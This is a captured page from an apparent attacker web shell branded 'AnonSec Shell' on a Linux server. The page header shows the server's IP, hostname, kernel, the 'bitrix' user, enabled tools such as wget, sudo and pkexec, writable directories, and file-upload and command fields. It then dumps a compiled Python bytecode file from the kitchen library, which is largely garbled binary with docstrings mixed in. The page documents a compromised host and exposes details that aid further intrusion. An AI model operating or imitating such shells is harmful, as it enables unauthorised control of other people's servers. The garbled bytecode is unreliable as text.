AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.138.170.161
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/979/cwd/lib/python2.7/site-packages/kitchen/iterutils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/979/cwd/lib/python2.7/site-packages/kitchen/iterutils/__init__.pyo
�
i�:Oc@sJdZddlmZdZee�Zed�Zed�ZdZd	S(
s�
Functions to manipulate iterables

.. versionadded:: Kitchen: 0.2.1a1

.. moduleauthor:: Toshio Kuratomi <toshio@fedoraproject.org>
.. moduleauthor:: Luke Macken <lmacken@redhat.com>
i����(tversion_tuple_to_stringiicCsD|st|t�r@yt|�Wntk
r8tSXtSntS(sCheck whether an object is an iterable

    :arg obj: Object to test whether it is an iterable
    :kwarg include_string: If :data:`True` and :attr:`obj` is a byte
        :class:`str` or :class:`unicode` string this function will return
        :data:`True`.  If set to :data:`False`, byte :class:`str` and
        :class:`unicode` strings will cause this function to return
        :data:`False`.  Default :data:`False`.
    :returns: :data:`True` if :attr:`obj` is iterable, otherwise
        :data:`False`.
    (t
isinstancet
basestringtitert	TypeErrortFalsetTrue(tobjtinclude_string((s>/usr/lib/python2.7/site-packages/kitchen/iterutils/__init__.pyt
isiterable%s
ccs4t|d|�r+x|D]}|VqWn|VdS(sgGenerator that can be used to iterate over anything

    :arg obj: The object to iterate over
    :kwarg include_string: if :data:`True`, treat strings as iterables.
        Otherwise treat them as a single scalar value.  Default :data:`False`

    This function will create an iterator out of any scalar or iterable.  It
    is useful for making a value given to you an iterable before operating on it.
    Iterables have their items returned.  scalars are transformed into iterables.
    A string is treated as a scalar value unless the :attr:`include_string`
    parameter is set to :data:`True`.  Example usage::

        >>> list(iterate(None))
        [None]
        >>> list(iterate([None]))
        [None]
        >>> list(iterate([1, 2, 3]))
        [1, 2, 3]
        >>> list(iterate(set([1, 2, 3])))
        [1, 2, 3]
        >>> list(iterate(dict(a='1', b='2')))
        ['a', 'b']
        >>> list(iterate(1))
        [1]
        >>> list(iterate(iter([1, 2, 3])))
        [1, 2, 3]
        >>> list(iterate('abc'))
        ['abc']
        >>> list(iterate('abc', include_string=True))
        ['a', 'b', 'c']
    RN(R	(RRtitem((s>/usr/lib/python2.7/site-packages/kitchen/iterutils/__init__.pytiterate:s 
R	RN(iii((iii(s
isiterablesiterate(	t__doc__tkitchen.versioningRt__version_info__t__version__RR	Rt__all__(((s>/usr/lib/python2.7/site-packages/kitchen/iterutils/__init__.pyt<module>s&

Anon7 - 2022
AnonSec Team